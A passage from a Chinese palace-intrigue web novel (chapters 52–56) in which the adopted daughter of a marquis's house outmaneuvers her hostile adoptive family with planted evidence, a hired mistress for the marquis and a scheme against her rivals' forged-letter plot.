那些下人惯会见风使舵的,见大小姐得势,侯爷又冷落了夫人,伺候起来也不如之前那般尽心尽力了。
有娘家人来撑腰,侯爷应该能待夫人好一些了吧。
“快,快将他们请过来。”温如霜得知大嫂姜清屏和大外甥温韫来了,激动得直掉眼泪。
李氏将人领了进来。
温韫一进门就解释:“小姑,收到侯府传信,父亲就让我陪着母亲一块来京城探病,没想到中途大雪封了路,我们如今才到。是我们来迟了。”
“无妨,来了就好。”温如霜强忍着眼泪点头。
姜清屏从下人口中得知温如霜伤得这般严重,忍不住掏出帕子抹眼泪:“小妹,真是苦了你了。若你大哥瞧见你这样子,还不知道会心疼成什么样呢。”
温如霜听到这话眼泪啪嗒往下流。
大哥自小就疼爱她,若他知道是晏逐星那个野种害了她,定然不会像晏鸿升一般将此事糊弄过去。
“大嫂,是那个野丫头害的我,是她将我推下马车的!”虽然没有证据,但温如霜却坚信真凶就是晏逐星。
“什么?”姜清屏和温韫大吃一惊。
他们还不知道,温如霜已经和晏逐星结下了不共戴天之仇。
温如霜将发生的事情和自己的推测说了出来。
一旁的李氏有些心虚地摸了摸鼻尖。
夫人没有完全说实话啊。
那些苛待大小姐的举动,只用忽视了三个字一笔带过。反倒是那些不实的猜测夸大了许多。
而且还将二小姐落水失了清白一事给隐瞒,只说是大小姐害得二小姐毁了容貌。
姜清屏听完皱起了眉头:“这丫头竟然这般不知感恩?她本就不是你的亲生骨肉,你收留了她,她非但不感恩,竟然还妄想跟明月抢侯府嫡女的位置。简直荒唐。”
温韫也义愤填膺了起来。
“小姑,你当初就不该把她捡回来,让她死在大街上算了。”
温如霜叹了一口气:“说一千道一万也回不去当年了,我这身子也没有了康复的希望。如今,我只盼明月的脸能快快好起来。”
说到最后,她声音带上了哽咽。
她握住姜清屏的手,恳求道:“大嫂,过些时日,让明月跟你们回青州养伤吧。等伤好后,我就让侯爷接她回来。可好?”
姜清屏点头应下:“岂有拦着的道理。温家是明月的外祖家,与她血脉相连,她想回我们自该扫榻相迎。”
给女儿找好了去处,温如霜长长地吐了一口气。
回了青州,等女儿脸上的伤好之后,她便让母亲和大嫂在那边替她寻摸一个好人家。
以温家在青州的家世地位,明月嫁过去也无人敢看轻她。
虽然得知晏明月容貌受损,但夜里一同用膳亲眼看到那一刻,姜清屏和温韫还是吓了一跳。
晏明月咬唇不语,只是不安地低下了头。
姜清屏将眼里的惊诧收起,握着她的手露出了心疼的表情。
“天可怜见的,好端端一个国色天香的姑娘,怎么就被害成了这样。”
“呜呜呜,大舅母,你可要替我做主啊。”晏明月顺杆子往上爬,她扑到了姜清屏怀里呜呜地哭了起来。
“好了好了,难得见你大舅母,哭哭啼啼像什么话。”定远侯有些不满地开口训斥。
女儿一来就让温家人给她做主。
做哪门子的主。
倒像是在说他这个当爹的没有替她讨回公道似的。
被他这么一训斥,晏明月立刻
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止住了哭声,怯生生地躲到了二哥身后。
这里毕竟是侯府,还是定远侯最大。
姜清屏和温韫不好多说什么,毕竟他管教的是自己的女儿。
姜清屏扫了一眼,没看到晏逐星,皱眉道:“星儿呢?”
定远侯淡淡道:“偶感风寒,怕过了病气给你们,便让她在院子里歇着了。”
昨日烈国公府又往玉澜院送了不少好东西。
他便知道这个烈国公夫妇是真的喜欢这个女儿。
再加上那日晏逐星还得了皇后赏赐的翡翠缠丝镯子,他便愈发器重这个女儿了。
说不定来日侯府的荣耀,还要寄托在这个女儿的身上。
因此今日她说染了风寒不想来一起用膳,他便也随她去了。
“我一来她就头疼脑热,真是巧了。我看不是染了风寒,而是我这个舅母面子不够大,请不来她陪同一块用膳吧。”姜清屏面色不悦。
“大舅母言重了,星儿不是那样的人,她真的身子不适,今日还请了大夫过门就医。”晏明远不疾不徐地开口。
见他也站出来替晏逐星辩解,姜清屏皱了皱眉,没再多说什么。
席间,她不轻不重地暗示了定远侯几句。
她的夫君马上要升官了,他要是怠慢了温如霜,温家可不会善罢甘休。
定远侯呵呵一笑,假装没听懂,只是说了好几声恭喜。
一顿接风宴,全是勾心斗角,吃得没滋没味的。
用过膳后,定远侯还是给了他们面子,当夜歇在了温如霜的院子里。
姜清屏则去了晏明月的院子里住下。
温韫被晏明修叫走,一整晚给他说了不少晏逐星的坏话。
说得温韫眉头紧锁。
这个晏逐星也太欺负人了。
翌日。
温韫主动找上了晏明月。
“明月表妹,你别伤心了。我和明修表弟一定会给你报仇的!”
第52章 给他送女人
“表哥,真的吗?”晏明月一脸期盼地看着她。
“当然。她一个捡来的野种,小姑和姑父给她口饭吃就不错了,她竟然还想取代你成为真正的侯府嫡女。”温韫一脸鄙夷。
他最讨厌这种鸠占鹊巢的人了。
就像父亲的表妹一样,住到家里来,竟然隐隐想要对他母亲的位置取而代之。
令人作呕。
“表哥,有你真好。”晏明月表现出一副单纯无害的模样。
“你若是不来,我真是不知道该怎么办了。爹爹和大哥都偏宠姐姐,二哥对我好一点,还要被大哥训斥。我真对不起二哥,让他受我牵连。”
说到最后,她眼眶都变红了。
晏明修原本听到前面两句话,有些不太高兴,但一听后边关心他的话,顿时心软得一塌糊涂。
他就说了嘛,二妹妹最善良最会替旁人考虑了。
他赶忙道:“二哥委屈不要紧,主要是你不能受委屈。”
温韫沉声开口:“没事,有我在呢,你们谁都不能受委屈。”
两人一同看向他:“表哥,你可是有什么好主意?”
“我们要以其人之道,还治其人之身。”温韫眼眸微眯。
*
青州温家一来人,晏逐星便让人留意了温如霜院子里的动静。
原本温如霜的院子密不透风,但自从她瘫痪后,院子里人心浮动,收买起来就容易多了。
于是次日她就得知了温如霜想把晏明月送走的事情。
“这可不行。”
晏逐星托着下巴思索了起来。
如果让晏明月离开京城,那么报复她的难度就会增加。
原想着利用玉肌膏温水煮青蛙,让她先得意一段时间。
等之后容貌再毁,晏明月的反应一定很精彩。
但如果她就这样被送走了,那她可就看不到她凄惨的下场了。
而温如霜之所以想把女儿送走,多半是为了腾出精力来对付她。
晏逐星决定先给温如霜找点事情干,分散她的注意力。
“你去人牙子那走一趟,帮我寻摸一个长得漂亮好生养的姑娘养在外边,看准时机让他们和父亲勾搭上。”晏逐星给九栀下了命令。
府里两个姨娘一入侯府就被温如霜下了绝子药,这些年来早就歇了争宠的心思。
她得从外边再找两个能用的人来。
“告诉她,只要想办法把孩子生下来了,我就会让她的孩子成为侯府世子。”晏逐星扔出了一个让人无法拒绝的诱饵。
定远侯府的人都要死光。
但侯爵之位,她得想办法留着给自己的人。
“是。”九栀很快就去找人了。
不过两日,她便找到了一个调教好的扬州瘦马。
此人名曰阮寄薇。
两人达成了一致,阮寄薇负责勾引定远侯,她需要的金银开销由九栀提供。
九栀与她见面时蒙了面还改了声音,她并没有认出她就是侯府大小姐的贴身丫鬟。
不得不说,受过专业训练的就是不一样。
第一天偶遇,第二天便将定远侯勾到了她的床上。
没几日,定远侯便沉醉在她的温柔乡当中了。
晏逐星故意让阮寄薇用了茉莉香粉。
温如霜碰不得茉莉香,一闻到就会不停流眼泪打喷嚏。莫说簪花熏衣,便是丫鬟们制头油时沾了丁点,她的额角便要泛红发疹。
因而只要定远侯身上带着茉莉香,她一定就会发现。
这日,定远侯跟阮寄薇厮混回府后,晏逐星故意派衔蝉拦住了他。
“侯爷,大小姐有事要见您。”
定远侯没想太多,直接去了玉澜院。
“星儿,你寻为父何事?可是国公府或者皇后娘娘有事要找你呀?”定远侯一脸慈爱地看着她。
嗅到他身上的茉莉花香,晏逐星放心了。
“母亲自打生病后精力不济,连我院里的银炭都漏了两回。正好之前太医叮嘱她静养,倒不如让母亲休养半年,待身子大好了,咱们再作打算。这些时日就让两位姨娘掌家如何?”
晏逐星故意提出了一个温如霜绝对不会答应的请求。
掌家的对牌在她手中,定远侯即便答应了也得去问她要。
他们必须见面。
“什么?这大冬天的,怎么能克扣你的银炭。你母亲真是病糊涂了。”定远侯眉头一皱,“既是如此,那便依你所言,让柳姨娘和林姨娘帮着掌家吧。”
“此事还得劳烦父亲去同母亲说才是。”晏逐星垂眸。
“行。还是星儿孝顺,懂得体恤你母亲的辛劳。”定远侯笑着夸赞了她两句,而后又命人将府里最好的银丝炭送了过来。
待他离去后,晏逐星唇角勾起一抹冷笑。
真期待待会儿温如霜的反应啊。
得知定远侯先去了晏逐星那里,又来见她,温如霜心底涌起了一阵怀疑。
那野丫头又憋着什么坏。
但见到定远侯的时候,她还是温声询问:“侯爷怎么来了?”
“夫人,你这些日子
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受累了。”定远侯站在她床头两步开外的位置,没有靠近。
再加上她为了掩盖自己身上的异味,屋子里熏香十分浓重,所以并没有察觉到定远侯身上的茉莉花香。
定远侯继续开口:“太医说你这种情况要好好休息,不可太操劳。若是累坏了身子,孩子们也会心疼的呀。”
温如霜心下有些感动,没想到侯爷竟然还是关心她的。
但下一句话,就让她的感动烟消云散了。
“管家之事实在太累,倒不如让两位姨娘来打理,你看如何?”
温如霜顿时大怒:“这是晏逐星那野丫头给你出的主意吧?!”
“星儿那也是关心你,你又何必这么说她。”定远侯皱起了眉头。
“她那是关心我吗,她那是想夺了我的管家权!!!”温如霜怒吼。
因为情绪太过激动,猛拍床板时差点从床上摔下来。
距离最近的定远侯赶忙上前一步扶住她。
猛地闻到他身上的茉莉花香,温如霜忍不住打喷嚏。
“阿嚏”
鼻子痒得难受,温如霜一连打了好几个喷嚏,最后眼泪都打出来了。
“夫人,您怎么了?”李氏瞧见她不对劲,赶忙上前。
一上前,就闻到了定远侯身上的茉莉香气。
她大惊失色:“侯爷,夫人闻不得茉莉香气,烦请您让让。”
定远侯这才想起来这事。
他赶忙退后两步:“你好好照顾夫人,本侯先去沐浴更衣。”
李氏招呼着下人开窗通风,又喂温如霜吃了之前备下的药丸,这才让她止住了打喷嚏。
温如霜一缓过神来就忍不住破口大骂:“肯定是晏逐星那个**,她知道我闻不得茉莉香气,故意在侯爷身上抹了茉莉香粉!!!她要害死我。”
晏明修几人正好来探望她,听到这话,赶忙上前询问发生了什么事。
温如霜便将先前发生的事情说了。
晏明修是个暴脾气,一点就炸,当即就要去找晏逐星算账。
温韫和晏明月对视一眼,也跟了上去。
他们之前计划的是将晏逐星骗出府去,假意让她在路上遇到山匪,到时候让她的脸也划破,再将她救回来。
可没想到他们人都找好了,但晏逐星却死活不出门。
一时间他们没想好该怎么下手。
今日之事倒是可以借题发挥,虽然不能毁了晏逐星的脸,但也能让晏明月出口恶气。
几人凶神恶煞地来到了玉澜院。
第53章 晏逐星设套
“晏逐星,你明知道母亲闻不得茉莉香气,你还用茉莉熏香,你安的什么心。”晏明修一开口就是训斥。
“谁说我用了茉莉熏香的?”晏逐星面无表情地开口。
“二少爷,您可不能污蔑我家小姐呀。我们院内,可是半丁点茉莉花都寻不着的。”双鲤跟着附和。
“你说没用就没用么。来人,搜!”晏明修二话不说就让人去翻院子。
晏逐星拍了拍轮椅扶手,九栀将她猛地推上前。
她直接扑到了晏明修的身上。
“我没有做过,你不能搜我的院子。”
她力气极大,动作又很突然,晏明修猝不及防地就被她推倒了。
“二哥。”
“表弟。”
温韫和晏明月同时弯腰去搀扶他,却无人在意一同扑倒的晏逐星。
晏明修脸涨得通红,晏逐星竟然害他丢了那么大的脸。
他踉跄起身,正准备训斥晏逐星,晏明远就急匆匆地赶来了。
他一来,就看到晏逐星摔在地上,而丫鬟正哭着搀扶她起身。
晏明远怒斥:“二弟,你胡闹什么,星儿腿本就有伤,你还将她推倒。”
晏明修气得大叫:“是她推的我!”
晏逐星不解释这件事,只是看向了晏明远:“晏大少爷,你弟弟一来就说我故意用茉莉熏香害得母亲生病,没有证据就要搜我的院子。麻烦你把他带走。”
听到“晏大少爷”几个字,晏明远心下一阵难受。
“星儿,我是你大哥,你何必与我这般生疏客套。”
晏逐星沉默着不再开口。
晏明月面色不善地盯着晏逐星。
她故意和大哥划清界限,分明是以退为进。
见她不说话,晏明远在心底叹了一口气,抓住了晏明修的手。
“二弟,走吧,别闹了。”
晏明修甩开他的手:“大哥,我看你真是昏头了。一个野种而已,你何必这么维护她。”
听到这话,晏逐星直接将发髻上的金钗摘下来砸向他。
晏明修正和大哥辩解着,猝不及防被她砸中了嘴巴,金钗划破了唇角,渗出一丝血来。
疼得他倒吸一口凉气。
晏明远忽然想起在玄空寺被永安王石子弄肿的嘴唇,下意识地捂住了自己的嘴。
星儿这一手,不会是和永安王学的吧?
晏逐星在心底给自己鼓了个掌。
呜呼。
看来近日练习效果不错,砸人的准头愈发精确,可以做到想哪砸哪了。
她抢先一步开口:“你一口一个野种,看来是压根不把我当一家人。好,那我便遂了你的愿,今日搬出定远侯府,从此再也不见。”
她扭头,眼里含泪厉声吩咐:“双鲤,收东西,我们走。”
“诶!”双鲤应了一声,立刻拖着九栀就去收东西。
几个丫鬟的动作快得像是提前演练过一般,根本不给他们劝阻的机会,三下五除二就把东西给收完了。
“侯府的东西我一样不要,我带走的都是皇后娘娘和烈国公府赏赐的。不信你们可以检查。”晏逐星语气愈发冷漠。
晏明远忙道:“大哥就在这,看谁敢赶你走。侯府就是你家,别说这种话!”
随后扭头看向晏明修:“二弟,还不赶紧给星儿道歉。”
晏明修委屈**。
受伤的是他,大哥不关心他就算了,还帮着一个野种说话。
晏明月没想到大哥已经被晏逐星迷惑到这个地步了,赶忙上前一步替晏明修说话。
“大哥,你怎么能不分青红皂白就怪二哥呢。我和表哥都看见了,是姐姐不小心推倒二哥的。”
一旁的温韫也忍不住帮腔:“大表弟。我只知你偏袒晏逐星,不知道你竟然已经盲目到这种地步。”
晏明远皱眉道:“我并未偏袒星儿,是二弟无理在先。父亲今日还去了别的地方,说不定是从
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别人那染了茉莉香,毫无证据,怎么就怪到星儿头上呢。”
晏明修涨红了脸不知道该如何辩解。
晏逐星饶有兴致地看着他们争吵。
晏明修这下总算体验到从前他们不分青红皂白就偏袒晏明月,她是什么感受了吧。
“你们这是在胡闹什么!!!”定远侯得知晏逐星要搬走,气得胡子都抖了抖。
开什么玩笑。
他费尽心思和晏逐星修复父女关系,甜头还没尝到,怎么能让人跑了。
他当下就将晏明修几人训斥了一番。
“是我在外头没注意染上了茉莉香气,与星儿有何关系。晏明远,给你妹妹道歉。不许再叫她野种。”
晏明修不服,抬起下巴满眼倨傲:“她才不是我妹妹。我只有明月一个妹妹。”
“侯爷,你不必与二少爷争论。我感激您收养了我这些年,日后一定会报答您的。只是我继续留下来,于侯府没有任何益处。我还是走吧,免得破坏了你们的父子关系。”晏逐星小心翼翼地扯了扯定远侯的衣角。
定远侯被她这一句“侯爷”给刺激到了。
他抬手揪住晏明修的耳朵:“我让你道歉听到没。今日若不能让星儿消气留下,你就给我滚去祠堂跪到过年。”
“哎哟哟。”晏明修被揪住耳朵,疼得东扭西歪惨叫出声。
没想到,他扭动时一个小纸袋从他身上掉了下来。
“这是什么?”晏明远皱眉捡起,打开一看,一股浓郁的茉莉香气传了出来。
这是茉莉香粉!
“好呀,原来你说要搜院子,是想把这个东西藏起来,栽赃我家小姐?!”双鲤大声质问。
“不是我的。”晏明修彻底慌了神。
“我不知道这东西哪来的。”
但下一瞬间,他就反应过来了,红着眼睛冲晏逐星扑过去,厉声嘶吼道:“是你,你刚刚故意推翻我把这东西藏我身上的。”
第54章 布好下个局
定远侯和晏明远赶忙伸手拦住她。
晏明月和温韫一惊,顿时用怀疑的眼神看着晏逐星。
如果这一切都是晏逐星设好的圈套,她的心机也太深了。
听着晏明修的质问,晏逐星却没有丝毫的惊慌。
“不是**的。二少爷,你贼喊捉贼的把戏还没玩够吗?每一次都用这种招数陷害我,你真当我是傻子吗。”她冷笑着盯着他的眼睛。
“那年,你明明是带晏明月去玩水后身子不适,你怕爹娘责备她,就故意来找我说带我去捉鱼。隆冬时节你跳入冰窟窿里为我捞鱼,我还偷偷开心以为你不生我的气了。结果上岸后你就冻晕在我面前,害得我被母亲罚跪了一夜。”
晏逐星说起这些事时,以为自己不会在乎了。
但她却还是控制不住眼泪,越说越伤心。
当初,她是真的以为那个疼爱她的二哥回来了。
她无比期待着和哥哥一起去捞鱼。
她想着等鱼捞上来了,她就给爹娘做热乎乎的鱼汤。他们喝了,肯定就会想起她的好,把她接回瑶华院了。
没想到,等来的只有惩罚。
“这一回,你又拿茉莉香粉来害我,不就是想让我滚出侯府吗。其实不用这么麻烦的,直接跟我说一声就行,我不会赖在你们侯府的。”她抿着唇,眼泪像断了线的珠子一直往下落。
定远侯和晏明远是头一回知道这些事,他们一脸错愕地看着晏明修和晏明月。
两人眼里都闪过一丝心虚。
晏明修梗着脖子道:“那时候的事情是我不对,但这一次我真没有……”
他的话没说完,就被晏逐星打断了:“父亲从外边回来只和我说了几句话,那么短的时间里,我压根没机会往父亲身上撒什么茉莉香粉。”
“你不听我辩解直接就把谋害母亲的罪名扣我头上,你到底是多恨我啊?为什么非要逼死我呢?”
这一句话,是替上辈子的她问的。
她到底做了什么,他们要那么恨她,恨到她**也不愿意放过她。
晏明远的心脏忽然有些抽疼。
星儿对二弟的一声声控诉,何尝不是在质问拷打他呢。
他当初不也是为了让明月开心,做了很多伤害星儿的事情吗。
明明……
星儿也喊了他那么多年的哥哥啊。
“星儿莫慌,爹爹今日便替你讨回公道!”定远侯大手一挥,叫来下人押住了晏明修。
“你去祠堂跪着,跪到星儿消气了为止。”
“爹!”晏明修和晏明月同时惊叫出声,“这是不是太过分了?”
“你再多嘴,你也一块去跪着。”定远侯不悦地看着晏明月。
和威宁侯那边的婚事迟迟谈不拢,他看到晏明月就烦。
晏明月的眼泪在眼眶里打转,她嗫嚅着唇想开口,却又不敢。
“表哥,你快替我求情啊。”晏明修求助温韫。
“姑父……”温韫只是刚开了个口,就被打断了。
“韫儿,这是侯府的家事。我这个当长辈的管教孩子,不用你同意吧?”定远侯皮笑肉不笑地开口。
温韫讪讪道:“自然是不用的。”
晏明修鬼哭狼嚎说不是他陷害的晏逐星,但没用,定远侯已经倒向了晏逐星那边,他更相信晏逐星的话。
定远侯将其他人赶走,温声安慰起晏逐星:“你就在玉澜院安心住下,谁来找你麻烦,爹都不会同意的。”
晏逐星红着眼眶道:“多谢侯爷。”
“嗯?怎么叫侯爷,你怨上爹了?”定远侯故意板着脸吓唬她。
“多谢爹爹。”晏逐星从善如流地改口。
定远侯这才满意地点头。
两人又客套了几句,定远侯方才离开。
“把东西重新放回原位吧。”晏逐星下了命令,让双鲤将她推到了书桌前。
如今温如霜瘫痪,晏明远婚事被搅黄,晏明月容貌被毁,晏明修也被关进了祠堂。
定远侯彻底偏向她。
晏明月和温如霜一定会狗急跳墙出昏招。
他们自乱阵脚时,就是她动手的好时机。
“以其人之道还治其人之身。”
晏逐星在纸上写下了这么一句话。
下一个针对晏明月的局她已经布好,只等她入坑收网了。
*
翌日清晨,惊闻次子被关到祠堂罚跪了一整晚,温如霜本就孱弱的心神愈发惊惶不定,双手紧攥着被褥,指节都抓得泛起了青白。
她忍不住脱口而出:“侯爷莫不是得了失心疯?”
为了一个野种,竟然伤害自己儿子。
大冬天的祠堂阴冷,这么跪下去膝盖迟早废了。
“去把侯爷请来!”她怒吼着催促。
不一会儿,定远侯院子里的丫鬟便来了。
小丫头忐忑
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地开口:“侯爷上朝去了。不过……侯爷曾给我留话让我转告夫人。”
“侯爷让你说什么!”温如霜咆哮出声,与市井泼妇无异,从前的贵夫人形象荡然无存。
小丫头闭上眼睛,一咬牙,复述了定远侯的话。
“若夫人能将管理庶务的心思多放一点在二少爷身上,二少爷也不至于这么不懂事。夫人不如暂且将庶务交给两位姨娘打理。”
“晏鸿升,你这个王八蛋!!!”温如霜气得浑身哆嗦了起来。
定远侯的意思很明显了。
想换晏明修从祠堂里出来,就拿掌家对牌来换。
姜清屏赶忙替她拍背顺气,将这丫鬟撵走后,若有所思道:“小妹,我怎么觉得妹夫有些不对劲啊?”
“哪里不对劲?”温如霜看向大嫂。
自打她瘫痪在床后,整夜整夜的睡不着,脑子都没之前好用了。
“按理来说,你们夫妻的感情不该消散得这么快。毕竟也是二十年的感情了。再说了,还有你大哥在呢,怎么着侯爷都不该是这个态度。”姜清屏委婉暗示。
“久病床前无孝子,何况是丈夫。”温如霜流下了悔恨的泪。
要是那一日,没有去定国公府就好了。
“我的意思是,会不会是侯爷在外边有人了,心落到别的女人身上了。他昨日身上的茉莉香气,总不能是男人的吧。”姜清屏见她没有反应过来,只得摊开了说。
温如霜一愣。
如果不是晏逐星故意往侯爷弄的茉莉香气,那么大嫂的推断才是最有可能的。
如果侯爷真的在外边有了别的女人。
温如霜一想到这个可能,就恨不得**。
她强迫自己冷静下来。
“我知道了。大嫂,多谢你的提醒。”温如霜对着嫂子道谢。
等她离开后,立刻命人去跟踪定远侯。
看看他下朝之后,会去哪里。
同一时间,她让人给晏明修送去了软垫和吃食。
“告诉二少爷,侯爷回来了再跪,别那么实心眼。看守的人管好自己的嘴,若是敢去侯爷面前嚼舌根,我发卖他全家!”
雷厉风行地办完了一切。
温如霜忐忑不安地在屋子里等到了天黑。
定远侯终于回来了。
她赶忙将自己派去跟踪他的小厮叫来询问:“怎么样,侯爷去了何处?见了什么人?”
第55章 彻底没帮手
“侯爷、侯爷……”小厮目光躲闪着往后退了半步,结结巴巴说不出个所以然来。
温如霜心底已经有了猜测,但不愿意相信。
她将雕花床架拍得哐当震响,连带着纱帐都晃出波纹。
她厉声呵斥道:“舌头被炭烫卷了不成?给你三息时间,若说不明白,你也不用在侯府呆着了。”
话音刚落,小厮的膝盖便重重磕到了地上,话像竹筒倒豆子似的蹦出来。
“侯爷去斜阳巷见了一个姑娘。临走前,那姑娘攥着侯爷的玉佩穗子,将脸都贴到侯爷颈窝里了。”
温如霜还有什么不明白的。
定远侯竟然在外边养了外室!
那茉莉花香,定然是在外室那里染上的。
温如霜气得牙齿都要咬碎了。
小厮垂头跪在地上瑟瑟发抖,不敢言语。
这样大的事情竟让他给撞见了。
温如霜心乱如麻不知道该如何处置这事,她让小厮退下,差人将大嫂请了过来。
“嫂子,你说对了。侯爷他真的在外边养了人。”温如霜一说话,眼泪便扑簌簌地往下落。
姜清屏叹了一口气,轻轻将她拥在怀中。
同为女人,她特别能理解温如霜此刻的崩溃。
她什么也没说,只是静静地拍打着她的背,直到她渐渐停止了啜泣声。
“嫂子,你说我该怎么办啊?”温如霜泪眼朦胧地看着大嫂。
“别慌,只是一个小小的外室罢了。只要掌家之权还在你手中,你便不必惊慌。”姜清屏按住她的双肩,给她支招。
“你不如让侯爷将人纳入府中。入了府,后宅之事还是你这个当家主母说了算。一个小小的姨娘,还不是任你捏圆揉扁。”
“等明远明年及冠,你让侯爷请立世子,务必让世子之位落在明远头上。”
“侯府迟早会归到明远手中,那些姨娘成不了什么气候。”
有了大嫂一步一步的分析,温如霜心里也有了着落。
她用力攥紧姜清屏的手:“大嫂,没有你我可怎么办啊。幸亏你来了。”
“傻丫头,咱们可是一家人。”姜清屏也重重地握住了她的手。
“不过你可得快点拿定主意了,我看侯爷这回是真的要给明修教训。若你再不出手,明修在祠堂可就真的遭大罪了。”
“而且,后日我们就要回青州了。再之后,我也就帮不上什么忙了。”
温如霜顿时生出了一股紧迫感。
她忙点头:“我明白了嫂子,我这就让人请侯爷来,与他好好商谈此事。”
她在“好好”二字上加重了语调,带着几分咬牙切齿的恨意。
姜清屏点了点头,又安慰了她几句,等到定远侯过来时,她便找了个借口离开,只留他们夫妻二人在屋内。
“夫人寻我所为何事?”定远侯不冷不**开口。
温如霜轻声道:“明修已经在祠堂跪了一天一夜,再大的差错也该饶了他吧?”
“夫人不是已经找我院中的丫鬟问过了么。”定远侯没有正面回答。
温如霜生吞他的心都有了。
说来说去,就是想让她用管家权把儿子换出来。
她也不演了,将手上的药碗往旁边一搁。
“如今我卧病在床,若是让柳姨娘和林姨娘替我分担家中庶务,谁来伺候侯爷?是斜阳巷的那位姑娘么?”
定远侯没想到她这么快就知道了阮寄薇的存在,眼睛猛然睁大:“你派人跟踪我?”
大虞官员若是被检举养外室,会被认为私德不修,到时候恐怕他又要在家反省了。
温如霜淡淡道:“侯爷若是喜欢那姑娘,大可纳入侯府,我绝无二话。只是明修一直在祠堂里跪着,我无心给侯爷操办纳妾之事啊。”
听她这么说,定远侯心里松了一
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口气。
若温如霜非要闹起来,她娘家嫂子还在这呢,多少会有些不好看。
大舅子那边他也不好交代。
“行,那此事便交给你来操持。阮姑娘乃是秀才之女,便按贵妾之礼接入府中吧。”
说完他扭头嘱咐身后的小厮。
“立即去请回春堂林大夫来,仔细给二少爷看诊,伤筋动骨的事马虎不得。”
做完这一切,定远侯看向温如霜:“如此,夫人可满意了?”
温如霜咬碎了牙齿往肚里吞,挤出一个笑容:“待嫂嫂他们走了,我便着人接那位阮姑娘进府。”
“嗯。”定远侯满意地点了点头,离开了。
他一走,温如霜便大发雷霆,将手边能够到的东西全砸了。
院子里的丫鬟忍不住齐齐叹气。
他们已经习惯了夫人如今这个样子。
一有什么不合心意的,便砸东西发泄。
晏明月从大舅母那里得知了母亲要给父亲纳妾的事情,脸色大变。
昨日二哥被晏逐星陷害,让她慌了神。
晏逐星和她印象里软弱无能、愚钝蠢笨完全不同,太有心机了。
难不成这些年她一直在养精蓄锐,故意蒙蔽他们。
父亲逼得母亲替她纳妾,会不会也是晏逐星在暗中推波助澜?
晏明月愈发着急。
她不能继续等下去了。
若等到大舅母和温韫表哥都离开,她就彻底没了帮手。
于是她找上了温韫。
“表哥,你能帮我吗?”她攥住他的袍角仰头看向他,下颌止不住发颤,眼泪顺着眼角滑落。
温韫看着她蒙着一层水雾的眼眸,心下一软。
“你想让我怎么帮?”
晏逐星就像缩进龟壳里的王八,始终呆在她的院子里,没有踏出侯府半步。
他们先前诱骗晏逐星出门买凶毁其容貌的办法根本用不上。
第56章 要以牙还牙
“明日践行宴,你将姐姐单独叫到清辉阁待一会儿,行么?”晏明月咬着唇说出了自己的办法。
她要以牙还牙,以眼还眼。
晏逐星害她失了清白,她也要如法炮制,让她也失了清白。
若是母亲和舅母知晓晏逐星蓄意勾引表哥,她就死定了。
毕竟表哥已有未婚妻,待到来年三月三后便成婚。晏逐星若是和他扯上了关系,舅母一定会整死她的。
到时候,父亲和大哥也阻拦不了舅母。
毕竟表哥是温家人,而非晏家人。
“这是姐姐写给表哥的情诗,你将她叫出去,是为了拒绝她。”她掏出了一封模仿好晏逐星字迹的信。
她被找回来时,兄长让她临摹的是晏逐星用过的字帖,因而她模仿起晏逐星的字迹轻而易举。
她说得委婉,但温韫也听明白了。
她想毁了晏逐星的名声,让她顶着不知廉耻勾引自家表兄的名头嫁不出去。
此事对他来说只是举手之劳,但却可以消除小姑和表妹的心头之恨,让他们都好受些。
思及此处,温韫答应了下来。
“我知道了。”
“多谢表哥!”晏明月破涕为笑。
“只是万一她又像我们刚来那日,说身子不适,不出院子怎么办?”温韫皱眉。
“我会想办法让她出现的。”晏明月语气笃定。
不管用什么办法,她都会让晏逐星出现的。
见她这般胸有成竹,温韫便没有多想,横竖他只需要在园子里等着,然后等到母亲和姑父他们过来时,将那封示爱的信砸到晏逐星身上,训斥她不知廉耻就好。
两人就此分开。
晏明月激动地等着明日的践行宴。
殊不知,她刚和温韫分开,两人见面的消息就被传到了玉澜院。
瑶华院虽然牢固不好安插眼线,但姜清屏和温韫那边轻轻松松。
他们进到侯府那天起,他们的一举一动就都被晏逐星的人盯着了。
毕竟,有钱能使鬼推磨。
再加上如今温如霜这个侯门主母势弱,而她却成了后起之秀,引得侯府如今的主人以及未来的主人都对她多加偏袒。
那些有眼力见的下人,自然要来巴结她。
“小姐,你说二小姐和表少爷悄悄见面,是为了什么?”双鲤一边给晏逐星按摩腿,一边询问。
“你觉得呢?”晏逐星反问。
“二小姐蛇蝎心肠,表少爷跟她就是蛇鼠一窝,两人坏到一起去了。他们肯定没憋着什么好屁。”双鲤皱了皱鼻子,一脸嫌弃。
“哟,我们双鲤还知道蛇蝎心肠,蛇鼠一窝呢。”晏逐星笑着刮了刮她的鼻尖。
双鲤有些不好意思地笑了,随后又骄傲地挺起胸膛:“那可不。小姐识字,我也要识字,总不能哪天让人诓骗了,害了小姐。”
自打她被接回来后,就每日跟着小姐一块读书识字。
每日十个大字,如今她已经学会写全院上下所有人的名字啦!
“没错,有志气。你要好好读书,日后会有大出息。”晏逐星笑着点了点头。
“那小姐你知道他们要做什么吗?”双鲤一脸崇拜地看着自家小姐。
小姐走一步算十步,十分聪明,想必一定能猜出表少爷和二小姐见面是为了做什么。
“不知道。但我已经给他们准备好大礼了,不管发生什么,见招拆招。只盼他们最后自食苦果的时候不要后悔。”晏逐星勾起了唇角。
*
后日一大早姜清屏便要带着温韫和晏明月回青州。
因而前一天夜晚,温如霜便准备了一场践行宴。
定远侯府上上下下都要给这个面子,全都出席。
定远侯爷担心晏逐星不来,因此亲自去请。
“星儿啊,你舅母和表哥他们就要走了,于情于理,今夜的践行宴你都得去。”
“爹爹说得极是。女儿都听爹爹的。”晏逐星乖巧应下。
她这温顺的模样让定远侯想起了小时候的她。
这孩子被温如霜教导得十分规矩,对他们言听计从,从不闹腾,他甚是满意。
只可惜不是亲生的,到底隔了一层血脉。
因而明月回来后,他便铆足了心思去弥补明月。
谁知道亲女儿竟是个不中用的。
“好,那爹爹陪你一块入席。”定远侯收回思绪,取代了推轮椅的九栀,亲自推着晏逐星往正院去。
路上,两人遇到了晏明月。
晏明月没想到还没等她出手,定远侯就接到了晏逐星。
“我还说亲自来请姐姐呢,没想到爹爹你已经来了。”她微微勾起唇角,而后又嗔怪地看着定远侯。
“爹爹专程来接姐姐,不接我,是不是不疼我了。”
“怎么会。”定远侯呵呵一笑。
“你姐姐腿脚不便,我自然要对她多照顾几分。”
“好吧。那咱们一块赴宴去吧。”晏明月就这样跟了上来。
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今夜的践行宴是家宴都是自己人,因而男女并没有分开。
抵达正厅。
温如霜看到晏逐星,脸色淡淡的,已经看不出喜怒。
